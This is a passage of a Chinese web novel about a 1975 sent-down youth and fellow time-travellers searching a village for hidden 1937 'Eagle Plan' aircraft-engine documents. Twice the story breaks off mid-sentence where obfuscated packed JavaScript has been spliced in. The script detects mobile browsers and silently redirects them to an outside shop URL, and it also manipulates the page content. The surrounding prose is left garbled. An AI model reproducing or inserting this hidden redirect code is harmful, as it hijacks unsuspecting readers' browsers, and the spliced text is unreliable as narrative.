锈迹斑斑的表面,隐约能看到几个模糊的刻痕。她用指甲轻轻刮去表面的浮锈,露出底下更深层的痕迹—— 是一个数字:37。 还有半个模糊的徽记,像是某种鸟类的翅膀。 军用铁箱,编号37,带徽记……这绝不是普通物品。 她忽然想起沈红梅在空间里说的话:“这个空间不是天然形成的法器,它是被‘投放’到这个世界的。” 还有那个神秘的“观测者”。 这一切,会不会都和这个铁箱有关? 窗外传来脚步声,很轻,很慢,一瘸一拐的。 林晚照猛地坐起,悄悄挪到窗边,从窗纸的破洞往外看。 月光下,一个佝偻的身影正从知青点门口经过。那人走得很慢,左腿明显跛着,手里似乎拎着什么东西。 走到院墙拐角时,那人突然回头,看向林晚照窗口的方向。 月光照亮了他的脸——那是一张布满皱纹、左颊有一道狰狞伤疤的脸。 他的眼睛在黑暗中闪着光,像山里的老狼。 然后,他咧嘴笑了,露出缺了门牙的牙床。 无声地,用口型说了三个字: 我、知、道。 9. 夜访 跛脚人消失在夜色中,像一滴墨汁融进深潭。 林晚照站在窗前,手心冰凉,那块铁片硌得掌心生疼。月光透过窗纸,在她脸上投下明明暗暗的光影。她能听见自己的心跳,一声,又一声,在寂静的房间里格外清晰。 “他知道什么?”她在心里问自己,“知道我在找铁盒?知道我发现了铁片?还是知道……我的秘密?” 同屋的三个人已经睡熟,王晓芬在梦里发出轻微的啜泣声,像是还在害怕白天的迁坟。 林晚照轻轻躺回床上,睁着眼睛盯着黑暗中的房梁。她需要思考,冷静地思考。 跛脚人主动现身,还留下那样诡异的暗示,目的绝不是示好。他在警告,还是在……试探? 她翻了个身,面朝墙壁,手腕上的银镯在衣袖下微微发烫。自从激活空间后,这对镯子就常在她情绪波动或危险临近时产生反应,像某种预警系统。 意识沉入空间。 黑土地在夜色中泛着幽暗的微光,古井水面平静。她走到茅屋,从怀里掏出那块铁片,放在石桌上。 月光洒在锈蚀的表面,“37”这个数字在黑暗中像一只眼睛,静静注视着她。 “沈红梅,”她对着空气轻声说,“如果你还有一丝意识残留,告诉我,这到底是什么?” 空间里只有风声,和远处不知名的虫鸣。 但就在她准备放弃时,石桌表面突然浮现出淡淡的光纹——不是弹幕系统那种文字,更像是某种记忆的残留影像。 影像很模糊,像隔着一层毛玻璃。但她能辨认出,是一双手在打开一个铁箱。箱子里不是金银,不是文件,而是一堆……零件? 金属的、精密的、闪着冷光的零件,还有几卷图纸。 那双手拿起其中一个零件,对着光看。零件上刻着一个徽记——和她铁片上模糊的翅膀纹路一样,完整的徽记是一只展翅的鹰。 然后影像碎了。 林晚照喘着气,额头冒出冷汗。使用这个功能消耗了她大量精神力,像刚跑完一场长跑。 但信息足够了。 铁箱里装的是机械零件和图纸,属于某个组织或机构,徽记是鹰。这些东西在1937年被埋下,二十年后的现在,有人在寻找它。 她突然想起陈铁柱白天的警告:“有些事,不知道比知道安全。” 他知道。至少知道一部分。 --- 第二天清晨,钟声照常响起。 林晚照起床时感觉头脑发沉,精神力透支的后遗症很明显。但她强撑着洗漱、吃饭,跟着队伍去上工。 今天的任务是继续清理后山的野坟。经过昨天,大家已经适应了些,动作熟练了不少。 陈铁柱还是负责指挥。林晚照注意到,他今天格外沉默,眼神锐利地扫视着每个人,尤其是在她身上停留的时间更长。 午休时,她找了个借口离开人群,再次来到发现铁片的那片区域。 土壤已经被重新翻动过——不是昨天那些挖坟的痕迹,而是更精细的、小心翼翼的挖掘。有人在她之后又来探查过。 “在找什么?” 陈铁柱的声音突然在身后响起。 林晚照转过身,看见他站在三米外,手里拿着铁锹,脸色冷峻。 “没什么,昨天掉了个发卡。”她面不改色地撒谎。 “发卡?”陈铁柱走近几步,“找到了吗?” “没有,可能埋土里了。” 两人对视。晨光从林间缝隙洒下,在两人之间投下斑驳的影子。 “林同志,”陈铁柱压低声音,“我昨天说的话,你没听进去。” “我听进去了。”林晚照迎上他的目光,“但我也有想弄明白的事。” “什么事?” “我外婆1937年离开上海时,带走了一些东西。”她半真半假地说,“其中一对镯子,现在在我手上。还有一件东西,据说埋在了红星公社。” 陈铁柱的眼神变了:“什么东西?” “我不知道。”林晚照实话实说,“我只知道,有人托我找到它。” “谁托你?” “一个已经不在的人。” 这话说得很玄,但陈铁柱似乎听懂了。他的表情复杂起来,像是惊讶,又像是某种确认。 “那个人……是不是姓沈?”他问。 林晚照的心脏猛地一跳。 他怎么知道沈红梅? “我不明白队长在说什么。”她选择装糊涂。 陈铁柱盯着她看了很久,久到林晚照以为他要发怒。但他只是叹了口气,声音里透出疲惫:“你跟我来。” 他转身往林子深处走,林晚照犹豫了一瞬,跟了上去。 两人一前一后,穿过密林,来到一处隐蔽的山洞前。洞口被藤蔓遮掩,不仔细看根本发现不了。 “进去。”陈铁柱说。 山洞里很暗,陈铁柱点燃了带来的煤油灯。灯光照亮了洞壁,林晚照看见,洞壁上刻着一些奇怪的符号,像是文字,又像是图案。 最让她震惊的是,山洞深处,堆着几个箱子。 木箱,已经腐朽,但还能看出原本的样子。其中一个箱子开着,里面是——书。 线装书,纸张已经发黄,但保存得还算完整。 “这是……”林晚照走近,看见书封上的字:《机械原理》、《高等数学》、《物理学基础》。 全是民国时期的教科书,甚至有几本是英文原版。 “你十岁那年摔进的山洞,就是这个?”她突然想起刘老太爷的话。 陈铁柱点头:“我醒来时,这些箱子就在这儿。还有……”他走到山洞最深处,从石缝里掏出一个油布包。 打开,里面是一本日记。 皮质封面,已经干裂。他翻开其中一页,递给林晚照。 字迹工整,用的是繁体字: “民国二十六年十月七日,南京已危。奉命转移‘鹰计划’核心资料及样品至后方。途经江西永丰,遇伏,伤亡过半。余将资料分装三处,一处埋于村口老槐树下,一处藏于此洞,一处……” 后面的字迹被血迹污染,看不清了。 落款是一个签名:陈启明。 林晚照的手指颤抖起来:“这是……” “我爷爷。”陈铁柱的声音很轻,“不,应该说,是这具身体原主的爷爷。” 这话的信息量太大,林晚照一时没反应过来。 “你说……原主?” 陈铁柱看着她,眼神复杂:“林同志,我们打开天窗说亮话吧。你不是原来的林晚照,我也不是原来的陈铁柱。” 山洞里安静得能听见煤油灯芯燃烧的噼啪声。 林晚照的大脑一片空白。她设想过很多可能,但没想到陈铁柱会直接摊牌。 “你怎么知道?”她听见自己问。 “感觉。”陈铁柱说,“第一次见你,就觉得不对劲。你看人的眼神,说话的方式,还有……你手上那对镯子。” 他顿了顿:“我见过那对镯子,在我爷爷的日记里。他说,那是‘钥匙’的一部分。” “钥匙?开什么的钥匙?” “不知道。”陈铁柱摇头,“日记残缺,很多关键信息都丢失了。我只知道,1937年,我爷爷奉命转移一批重要资料,代号‘鹰计划’。途中遇袭,他受伤躲到这里,把资料分三处藏匿。” “后来呢?” “后来他伤重去世,临死前把藏宝图交给了儿子——也就是我爹。但我爹在1960年饿死了,什么都没来得及说。”陈铁柱的声音有些哑,“我十岁那年,意外摔进这个山洞,发现了这些东西。然后……我就变成了‘陈铁柱’。” “原来的陈铁柱呢?” “死了。”他说得很平静,“摔下来时头撞到石头,当场就死了。然后我就……进来了。” 林晚照消化着这些信息。所以陈铁柱也是穿越者?或者用他的说法,是某种意义上的“附身”? “你从哪里来?”她问。 “2023年。”陈铁柱看着她,“你呢?” “……2024年。” 两人对视,都在对方眼中看到了震惊,还有一丝同病相怜的荒诞感。 “所以,你在找剩下的资料?”林晚照问。 “对。”陈铁柱点头,“我花了十二年,找到了山洞这份,也大概知道槐树下那份被挖走了。但第三份在哪里,完全没线索。” 他看向林晚照:“现在你来了,带着镯子,还被人托付找东西。我猜,托付你的人,也在找这些资料。” 林晚照想起沈红梅。她上辈子找到铁盒了吗?如果找到了,为什么还要让她找? 除非……铁盒里的不是全部。 “托付我的人叫沈红梅。”她决定坦白一部分,“她说铁盒埋在知青点老槐树下,但树被砍了,盒子可能被挖走了。” “沈红梅……”陈铁柱皱眉,“我听过这个名字。队里老人说,几年前有个姓沈的女知青,干活很拼命,后来生病回城了。” “她死了。”林晚照说,“死前把镯子和任务交给了我。” 陈铁柱沉默了。煤油灯的光在他脸上跳动,那张棱角分明的脸在光影中显得格外深邃。 “跛脚人是谁?”林晚照问出关键问题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854259|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他挖走了槐树下的东西吗?” “我不知道。”陈铁柱摇头,“村里跛脚的人有三个:刘瘸子、王跛子、还有已经死了的张拐子。但我观察过,他们都不像知道内情的人。” “昨晚那个人,左脸有伤疤。” 陈铁柱的瞳孔一缩:“你看到了?” “他在我窗外经过,还对我笑了。” “……那不是村里人。”陈铁柱的声音沉了下来,“村里没有左脸有疤的跛子。” 两人都意识到问题的严重性。有一个外人,知道内情,在暗中活动。 “他昨晚去哪里了?”陈铁柱问。 “往村西头走了。” “村西头……”陈铁柱思索着,“那边只有几户人家,还有……废弃的祠堂。” 他突然站起来:“走,去看看。” “现在?” “现在。” 两人灭了煤油灯,悄悄溜出山洞。回到工作地点时,三婶正着急地找陈铁柱。 “队长,公社来人了,让你去一趟!” 陈铁柱皱眉:“谁来了?” “李副主任,还带了几个人,说是检查迁坟进度。” 林晚照心里一沉。公社来人,意味着他们今天没机会去祠堂查看了。 “你先回去干活。”陈铁柱低声对她说,“晚上,老地方见。” 他说的老地方是山洞。 林晚照点头,目送他匆匆下山。 下午的工作在一种微妙的氛围中进行。公社来的李副主任是个四十多岁的中年男人,梳着背头,穿着中山装,说话拿腔拿调。他带着两个年轻人在坟地里转了一圈,问了些问题,记了些笔记。 林晚照一直在暗中观察。她发现,李副主任对迁坟本身并不太关心,反而对挖出来的东西很感兴趣,尤其是那些陪葬品——虽然大多只是几枚铜钱、几个陶罐。 “这些都是封建残余,要统一处理。”李副主任指示,“特别是文字类的东西,要上交公社审查。” 这话说得很官方,但林晚照总觉得哪里不对劲。 收工时,李副主任把陈铁柱叫到一边,两人说了很久。林晚照远远看见,陈铁柱的脸色越来越难看。 回知青点的路上,王晓芬小声说:“晚照,那个李副主任好吓人,看人的眼神像要把人扒层皮。” “少说话,多干活。”林晚照提醒她。 夜里,等同屋的人都睡熟后,林晚照悄悄起身。 她摸黑穿上衣服,轻手轻脚地出了门。月光很亮,把路面照得泛白。她按照记忆中的路线,往后山走去。 山洞里,陈铁柱已经在等了。他点着一盏小油灯,脸色在灯光下显得格外凝重。 “李副主任是冲着资料来的。”他开门见山,“他问我,有没有挖出‘旧东西’,特别是带字带图的。” “他怎么会知道?”林晚照心里一惊。 “不知道,但肯定有人通风报信。”陈铁柱看着她,“林同志,我们得加快速度了。如果让公社的人先找到资料,一切都完了。” “为什么?” “那些资料……”陈铁柱压低声音,“我看了山洞里的部分,是关于精密机械和武器设计的。在这个年代,这些东西一旦暴露,你我都脱不了干系。” 林晚照倒吸一口凉气。 1937年的武器设计资料,在1975年的中国,这确实是能要人命的东西。 “我们必须先找到第三份资料,还有槐树下被挖走的那份。”陈铁柱说,“今晚,去祠堂。” 两人灭了灯,摸黑下山。月色很好,但山路依然难走。林晚照跟着陈铁柱,深一脚浅一脚地往村西头去。 废弃的祠堂在村子最西边的山坳里,已经多年无人打理。院墙塌了一半,门板歪斜,院子里长满了荒草。 陈铁柱示意林晚照等在门外,自己先溜进去查看。几分钟后,他探出头:“安全,进来。” 祠堂里阴森森的,月光从破败的屋顶漏下来,在地上投出诡异的光斑。供桌已经腐朽,牌位散落一地,积着厚厚的灰尘。 “分头找。”陈铁柱说,“找暗格、地窖,或者新翻动的痕迹。” 林晚照点头,开始仔细检查。她走到祠堂后堂,那里更暗,几乎看不清东西。她正要摸出随身带的小手电,突然听见角落里传来细微的声响。 像是……呼吸声。 她猛地转身。 黑暗中,一双眼睛正盯着她。 跛脚人从阴影里走出来,手里拎着那个油布包裹的铁盒。 他咧嘴笑了,露出缺牙的牙床。 “等你们很久了。”他说。 10. 三方会谈 月光从祠堂破败的屋顶漏下,在积满灰尘的地面上切割出明暗交错的网格。 跛脚人站在阴影与光斑的交界处,手里的铁盒在月光下泛着陈旧的金属光泽。他脸上那道从眉骨斜划至嘴角的伤疤,在昏暗光线中像一条蛰伏的蜈蚣。 陈铁柱一步跨到林晚照身前,身体微侧,摆出防御姿态。他的手已经摸向腰间——那里别着一把柴刀。 “别紧张。”跛脚人笑了,声音沙哑得像砂纸摩擦,“我要是想害你们,昨晚这女娃娃就死了。” 他说话时,左腿明显拖着,但站姿很稳,显然已经习惯了这种不平衡。 “你是谁?”陈铁柱沉声问。 “孙瘸子。”那人报了个名字,“当然,这是现在的名字。1937年的时候,我叫孙明远。” 林晚照的心跳漏了一拍。1937年——又是这个年份。 “你也是‘鹰计划’的人?”她问。 孙瘸子看向她,那双在黑暗中发亮的眼睛眯了眯:“女娃娃知道得不少啊。看来陈启明那老东西,还真把东西传下来了。” 他拄着一根自制的木拐杖,慢慢走到供桌前,将铁盒放在积满灰尘的桌面上。木拐杖敲击地面的声音,在空寂的祠堂里格外清晰。 “坐吧。”他用拐杖指了指地上几块还算完整的砖头,“故事有点长。” 陈铁柱和林晚照对视一眼,都没有动。 孙瘸子也不在意,自顾自在一块砖头上坐下,从怀里摸出个铁皮烟盒,卷了支旱烟。火柴划亮时,林晚照看清了他的脸——除了那道狰狞的伤疤,他其实长得不算凶恶,甚至有种读书人的清癯感。 烟头在黑暗中明灭。 “民国二十六年,我二十五岁,是中央大学机械工程系助教。”孙瘸子开口,声音里带着久远的回忆,“陈启明是我老师,也是‘鹰计划’的副总工程师。” “鹰计划到底是什么?”林晚照忍不住问。 “航空发动机。”孙瘸子吐出三个字,“当时我们从德国搞到了一批关键技术资料和零件样品,准备在后方建立自己的航空工业。但日本人打得太快,南京守不住了,只能转移。” 他深深吸了口烟:“转移队伍分三路,我们这一路十二个人,押运最核心的资料和样品。走到江西永丰时,遇上了土匪——后来才知道,是日本人买通的汉奸。” 祠堂里安静下来,只有孙瘸子沙哑的叙述声。 “死了八个,伤了三个。陈老师腹部中弹,我是腿伤。”他拍了拍自己那条跛腿,“我们俩拼死护着东西逃进山里,躲到这个村子。陈老师伤太重,知道自己撑不了多久,就把东西分三处藏起来。” “为什么分三处?”陈铁柱问。 “鸡蛋不能放一个篮子里。”孙瘸子说,“一份埋在老槐树下,最显眼也最危险;一份藏在山洞里,那是我们当时的藏身处;还有一份……” 他顿了顿:“藏在祠堂的密室。” 林晚照环顾四周。这个破败的祠堂,竟然有密室? “东西藏好后,陈老师给了我一张图,让我伤好后带着东西去重庆找组织。”孙瘸子的声音低沉下来,“但我的腿伤感染了,高烧昏迷了半个月。等我醒来,村里人说陈老师已经死了,尸体被路过的好心人埋了,不知道埋在哪儿。” “你没去找组织?” “去了。”孙瘸子苦笑,“1940年,腿刚好点,我就去了重庆。但兵荒马乱,组织早散了,人也找不到了。我在重庆待了两年,实在活不下去,又回到这里。” 他弹了弹烟灰:“我想把东西挖出来,至少给陈老师一个交代。但回村一看,老槐树下已经被挖过了——不是组织的人,是村里的闲汉,以为是金银财宝。他们挖了个空,什么都没找到。” “为什么是空?”林晚照想起那块铁片,“我挖到碎片了。” “那是障眼法。”孙瘸子说,“陈老师真正的埋法,是在树下三尺埋个空铁箱,再往下两尺,才是真东西。那几个闲汉挖到铁箱就以为挖到底了,其实差得远。” 陈铁柱若有所思:“所以真东西还在下面?” “在。”孙瘸子点头,“但我一个人挖不动,也不敢挖。这些年,我一直守着这三处地方,等组织的人来,等陈老师的后人来找。” 他看向陈铁柱:“你十岁那年摔进山洞,我就知道,你是陈老师的后人。那些箱子,是我故意留了痕迹让你发现的。” 陈铁柱浑身一震:“是你?” “是我。”孙瘸子又看向林晚照,“至于你,女娃娃,我一开始没想明白。直到看见你手腕上这对镯子——那是陈师母的东西。1937年她先一步去了上海,陈老师把这对镯子留给她,说要是有一天他回不来,就让后人凭镯子来取东西。” 林晚照下意识捂住手腕。镯子在衣袖下发烫,像是回应着这段历史。 “但现在麻烦来了。”孙瘸子话锋一转,脸色凝重起来,“公社那个李副主任,他也在找这些东西。” “他怎么知道?”陈铁柱问。 “我不知道。”孙瘸子摇头,“但他不是普通人。我观察过他,他检查迁坟时,专门看土质、问深度,明显是在找埋藏物。而且他带来的两个人,走路姿势像当过兵的,眼神也狠。” 祠堂里的空气仿佛凝固了。 月光移动,照亮了供桌上的铁盒。孙瘸子伸手打开盒盖——里面不是机械零件,而是一叠发黄的文件。 最上面一份的封面上,印着模糊的德文和中文对照标题:《航空发动机涡轮叶片精密铸造工艺》。 “这是槐树下那份资料的目录和部分样本。”孙瘸子说,“真东西太大,我没动。但这份目录足以证明,这些东西一旦落到不该拿的人手里,会惹出多大的祸。” 林晚照翻了翻文件。虽然看不懂那些专业术语,但从图纸的精密度和文字的严谨性来看,这确实是价值极高的技术资料。 “李副主任为什么想要这些?”她问。 “两种可能。”陈铁柱沉声分析,“一是他想立功,拿这些东西上交,说是破获了敌特藏匿的反动资料;二是他想倒卖,这些东西在黑市上价值连城。” “还有一种可能。”孙瘸子幽幽地说,“他是那边的人。” “那边?” “对岸。”孙瘸子吐出两个字。 祠堂里的温度仿佛骤降了几度。1975年,“对岸”这个词意味着什么,三人都清楚。 “如果真是这样,我们必须抢在他前面把东西处理好。”陈铁柱站起身,“孙老,真东西埋在哪里?我们现在就去挖。” “不急。”孙瘸子却摇头,“今晚不能动。李副主任的人可能在监视我们。” 他看向窗外:“我在村里住了三十八年,谁家多了只鸡我都知道。这两天,村口多了两个生面孔,说是收山货的,但眼神不对。” 林晚照想起白天在坟地时,李副主任身边那两个年轻人的确气质特殊,不像普通公社干部。 “那我们怎么办?”她问。 “等。”孙瘸子说,“等他们先动。他们找不到东西,一定会露出马脚。” 他合上铁盒,推给林晚照:“这个你收好。这是凭证,也是保命符——如果真出了事,把东西交上去,至少能证明我们在保护国家财产,不是在搞破坏。” 林晚照接过铁盒,入手沉甸甸的。这不只是一盒文件,更是一段被埋藏了三十八年的历史,和几个人的命运。 “孙老,你这些年……怎么过的?”她忍不住问。 孙瘸子笑了笑,那道伤疤在笑容中扭曲:“讨饭,打零工,后来村里看我可怜,给我落了户,分了块自留地。我装疯卖傻,把自己弄成个瘸腿的老光棍,没人注意。” 他说得轻描淡写,但林晚照能想象,这三十八年有多难。 一个受过高等教育的机械工程助教,因为一场意外任务,沦落到山村当了一辈子瘸子。守着秘密,等着一个可能永远不来的交代。 “陈老师埋在哪里,你知道吗?”陈铁柱突然问。 孙瘸子沉默了很久。 “知道。”他终于说,“我带你们去。” 三人离开祠堂,借着月光往后山更深处走。山路越来越陡,林晚照走得气喘吁吁,陈铁柱不时伸手扶她一把。 走了约莫半小时,孙瘸子在一片竹林前停下。 竹林深处,有一座不起眼的土坟,没有墓碑,只有几块石头垒成的标记。 “我偷偷立的。”孙瘸子轻声说,“不敢写名字,怕被人发现。每年清明,我来烧点纸。” 陈铁柱走到坟前,跪下来,恭恭敬敬磕了三个头。 林晚照也鞠了一躬。她虽然不是陈启明的后人,但这对镯子,这份传承,把她和这段历史联结在了一起。 月光穿过竹叶,洒在坟头上,像铺了一层银霜。 “孙老,”林晚照忽然问,“你说‘鹰计划’的资料是航空发动机技术,但沈红梅——就是托我找东西的那个人,她说铁盒里是普通机械零件。” 孙瘸子皱起眉:“沈红梅?那个几年前生病回城的女知青?” “你知道她?” “知道。”孙瘸子点头,“她来村里第二年,就在打听老槐树的事。我观察过她,觉得她不是普通人,但也没多想。” 他思索着:“如果她找到的是普通零件,那可能……槐树下埋了两层。上面是掩人耳目的普通零件,下面才是真资料。” 这个推测很合理。陈启明心思缜密,做双重保险完全可能。 “沈红梅现在在哪儿?”孙瘸子问。 “死了。”林晚照说,“她说自己是被‘世界规则’修正致死的。” 孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854260|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘸子和陈铁柱同时看向她。 “世界规则?”陈铁柱重复这个词,“她原话怎么说的?” 林晚照把沈红梅在空间里的话复述了一遍。当听到“观测者”、“空间投放”、“剧情惯性”这些词时,孙瘸子的脸色变得极其难看。 “原来是这样……”他喃喃道。 “您知道什么?”林晚照急切地问。 孙瘸子拄着拐杖,在月光下来回踱步,跛腿拖在地上的声音在寂静竹林里格外刺耳。 “陈老师临死前,说过一些奇怪的话。”他终于开口,“他说,‘鹰计划’不只是航空发动机。那批资料里,混进了一些……不该存在的东西。” “什么东西?” “他没说清楚,只说是‘从未来泄漏的技术’。”孙瘸子看着两人,“我当时以为他是高烧说胡话。但现在听你们这么说,也许……” 也许那些资料,真的不只是1937年的技术。 也许沈红梅的死,陈铁柱的穿越,林晚照的到来,都和这些“不该存在的东西”有关。 竹林里起风了,竹叶沙沙作响,像无数人在低声细语。 陈铁柱忽然说:“我们得把三份资料都找齐,看看到底是什么。” “但现在动不了。”孙瘸子提醒,“李副主任的人盯着。” “那就让他们先动。”林晚照忽然有个想法,“我们做饵,引他们出手。” “太危险。”陈铁柱反对。 “但这是最快的办法。”林晚照坚持,“孙老不是说他们在监视我们吗?那我们就让他们看到想看的。” 她详细说了自己的计划。孙瘸子听完,沉默半晌,最终点头:“可以试试。但你们俩要小心,那些人心狠手辣。” 三人又商量了一些细节,直到东方天空泛起鱼肚白。 “该回去了。”孙瘸子说,“再不走,被人发现就麻烦了。” 下山路上,林晚照问孙瘸子:“孙老,您为什么信我们?” 孙瘸子拄着拐杖,一步一步往下走,背影在晨雾中显得有些佝偻。 “我等了三十八年。”他头也不回地说,“再不信,这辈子就白等了。” 回到知青点时,天已经蒙蒙亮。林晚照轻手轻脚溜回房间,刚躺下,就听见王晓芬迷迷糊糊地问:“晚照,你起这么早?” “上厕所。”她含糊应答。 “哦……”王晓芬翻个身,又睡过去了。 林晚照睁着眼睛,看着房梁。一夜未眠,她却毫无睡意。 手腕上的银镯微微发烫,铁盒就藏在她的枕头下。那些发黄的文件,那些精密图纸,那些跨越了三十八年的秘密,此刻都压在她身上。 还有沈红梅的警告,陈铁柱的坦诚,孙瘸子的坚守。 以及,那个神秘的“观测者”。 她轻轻抚摸着镯子上的龙凤纹路。1937年,陈启明把这对镯子留给妻子,说这是凭证。1975年,镯子在她手上,指引她来到这个山村。 这中间,到底有多少人的命运被牵扯进来? 窗外的天色越来越亮。新的一天开始了,而一场关于历史、技术和命运的风暴,正在这个看似平静的山村里酝酿。 早饭时,林晚照在食堂见到了陈铁柱。两人目光短暂相接,交换了一个心照不宣的眼神。 李副主任还在村里,正和几个队干部说话。见到林晚照,他忽然走过来,笑眯眯地问:“林同志,听说你昨天在坟地捡到个东西?” 林晚照心里一紧,但面上平静:“李主任说的是什么?” “有人说,你捡到块铁片。”李副主任的眼睛眯起来,“能给我看看吗?” 食堂里瞬间安静下来。所有人的目光都投向这里。 林晚照的手心里渗出冷汗,但她笑了:“您说的是那个啊,我以为是发卡呢,结果就是块破铁皮,我扔了。” “扔了?”李副主任的笑容淡了些,“扔哪儿了?” “就扔后山了。”林晚照一脸无辜,“李主任要那个干什么?” 李副主任盯着她看了几秒,忽然又笑起来:“没什么,随便问问。吃饭吧,吃饭。” 他转身走了。但林晚照能感觉到,那道目光如芒在背。 陈铁柱走过来,低声说:“他开始试探了。” “嗯。”林晚照点头,“按计划来。” 她端起饭碗,慢慢吃着已经凉了的红薯稀饭。手腕上的镯子在衣袖下发烫,像是在预警。 而在她看不见的虚空深处,一行文字悄然浮现: 【命运偏离度:8%】 【检测到关键历史节点扰动】 【世界规则修正机制激活倒计时:71天】 【警告:请在时限内完成‘鹰计划’资料回收,否则将触发不可逆后果】 倒计时,开始了。 11. 工分与蛛丝 清晨的露水还没散尽,晒谷场上已经站满了人。 陈铁柱在点名分配今天的任务时,声音比平时更洪亮,像是故意要让所有人都听清:“……林晚照、王晓芬,你俩去仓库清点粮种。张建军带男同志继续修水渠。” “去仓库?”王晓芬小声嘀咕,“这活儿轻松啊。” 林晚照却心头一动。仓库——那里堆积着生产队所有的农具、种子和杂物,是个能接触到各种信息的地方。陈铁柱这个安排,显然不是随意为之。 果然,点名结束后,陈铁柱走到她身边,压低声音:“仓库最里间有个旧账本架,第三层左边数第七本,是1958年的生产记录。” 他说完就转身走了,留下林晚照琢磨这话里的意思。 1958年,大炼钢铁,老槐树被砍。那年的生产记录里,会不会有关于砍树埋箱的蛛丝马迹? “晚照,走啦!”王晓芬催她。 仓库在村子中央,是栋半砖半土的旧房子,木门上的铁锁已经锈迹斑斑。管仓库的是个六十多岁的老头,姓周,大家都叫他周伯。他腿脚不便,常年坐在门口的小板凳上晒太阳,手里总编着竹筐。 “新来的女娃子?”周伯抬眼看了看她们,从腰间摸出一串钥匙,“东头三间是粮种,西头两间是农具,中间那间杂物别乱动。” 钥匙插进锁孔,发出刺耳的“嘎吱”声。门推开时,一股混合着粮食、铁锈和灰尘的气味扑面而来。 仓库很大,光线昏暗,只有几扇高窗透进些微光。成麻袋的稻谷、小麦堆得像小山,墙上挂着各种农具,角落里散落着破损的箩筐和木锨。 “这么多粮食啊。”王晓芬惊叹。 “这是全队一年的口粮和种子。”林晚照解释,“得仔细清点,不能出错。” 两人开始工作。清点粮种是个细致活,要一袋袋过秤,记录重量,检查有没有发霉生虫。林晚照一边干活,一边留意着仓库的布局。 最里间果然有个老旧的木架子,上面堆满了泛黄的账本和文件。灰尘积了厚厚一层,显然很久没人动过了。 中午时分,周伯拄着拐杖进来:“歇会儿吧,该吃饭了。” 他从怀里掏出两个窝窝头分给她们,自己坐在门槛上啃着冷红薯。林晚照趁机问:“周伯,您管仓库多少年了?” “二十多年喽。”周伯眯着眼,“从1962年就开始管。” “那您肯定知道仓库里每样东西的来历。” “那是。”周伯有些得意,“连哪个箩筐是哪年编的我都记得。” 林晚照斟酌着词句:“我听说,1958年大炼钢铁,村里砍了棵老槐树?” 周伯的脸色变了变,警惕地看了她一眼:“你问这个干啥?” “就是好奇。”林晚照做出天真模样,“我外婆喜欢槐树,总念叨以前弄堂口的老槐树被砍了。我就想,咱们村砍树时,会不会也留了点纪念?” 这话说得合情合理。周伯的警惕放松了些,叹口气:“纪念?能有什么纪念。那树砍了烧炉子,连树根都刨出来当柴火了。” 他顿了顿,压低声音:“不过……砍树那天,确实出了点怪事。” 林晚照的心提了起来。 “树根刨出来时,底下有个坑,坑里……”周伯左右看看,确认没别人,“有几块碎陶片,还有这个。” 他从怀里摸出个小布包,小心翼翼地打开。里面是一枚铜纽扣,已经氧化发黑,但还能看出上面有模糊的纹路——像是翅膀的形状。 林晚照的呼吸差点停住。这纹路,和铁片上的徽记很像。 “我偷偷捡的。”周伯赶紧把纽扣包好收起来,“那年头,这种带花纹的东西说不清来历,被人看见要惹麻烦。” “后来呢?坑里还有别的吗?” “没了,就这些。”周伯摇头,“公社来的人把坑填了,说不吉利。” 午后的阳光透过高窗,在仓库地面上投出几块光斑。灰尘在光柱中飞舞,像无数细小的秘密。 林晚照借口上厕所,溜到最里间。按照陈铁柱说的位置,她在账本架上找到了那本1958年的生产记录。 纸张已经发黄变脆,墨迹褪色。她快速翻到10月份——老槐树被砍的时间。 记录很简单:“10月17日,砍伐村口老槐树一株,得木材约三方,供炼钢使用。参与人员:陈大山、王富贵、□□……” 但在页面最下方,有一行小字,像是后来补记的:“树下发现异物,已上报公社处理。” 没有具体说是什么异物。 林晚照继续往后翻。在11月的记录里,她看到了更关键的信息:“11月3日,公社李副主任带人检查仓库,封存‘不明物品’三件,编号:甲-7、甲-8、甲-9。” 李副主任。 又是他。 十七年前,他就来过红星公社,封存了从老槐树下挖出的“不明物品”。十七年后,他再次出现,还在找东西。 这不是巧合。 林晚照把账本放回原处,心跳如鼓。她需要告诉陈铁柱和孙瘸子这个发现。 下午的清点工作继续。王晓芬累得腰酸背痛,林晚照却干劲十足——她一边干活,一边用弹幕系统扫描仓库里的物品。 【破损犁头,1965年购置,铁质部分可回收利用】 【麻袋三十七只,其中五只有霉斑需晾晒】 【角落木箱:内藏1950-1960年废旧报纸,可用于引火或包装】 突然,弹幕跳出一条让她瞳孔收缩的信息: 【西墙第三块砖后:有空洞,内藏金属物品,体积约20×15×10cm】 有暗格。 林晚照不动声色地继续清点,直到王晓芬去门口喝水休息,她才慢慢挪到西墙边。 墙面是青砖砌成,看起来和其他地方没什么不同。但弹幕系统标注的那块砖,边缘的灰缝确实比其他地方新一些。 她试着用手指推了推,砖块微微松动。 门外传来王晓芬和周伯的说话声,她赶紧收回手。不能现在查看,太冒险。 傍晚收工时,陈铁柱来仓库接她们——这是队长的职责,要确保仓库重新锁好。 周伯锁门时,陈铁柱看似随意地问:“周伯,仓库最近没啥异常吧?” “能有啥异常。”周伯嘟囔,“就是老鼠多,咬坏了两袋谷子。” “明天我拿点老鼠药来。”陈铁柱说着,目光扫过林晚照,眼神里有询问。 林晚照几不可察地点了点头。 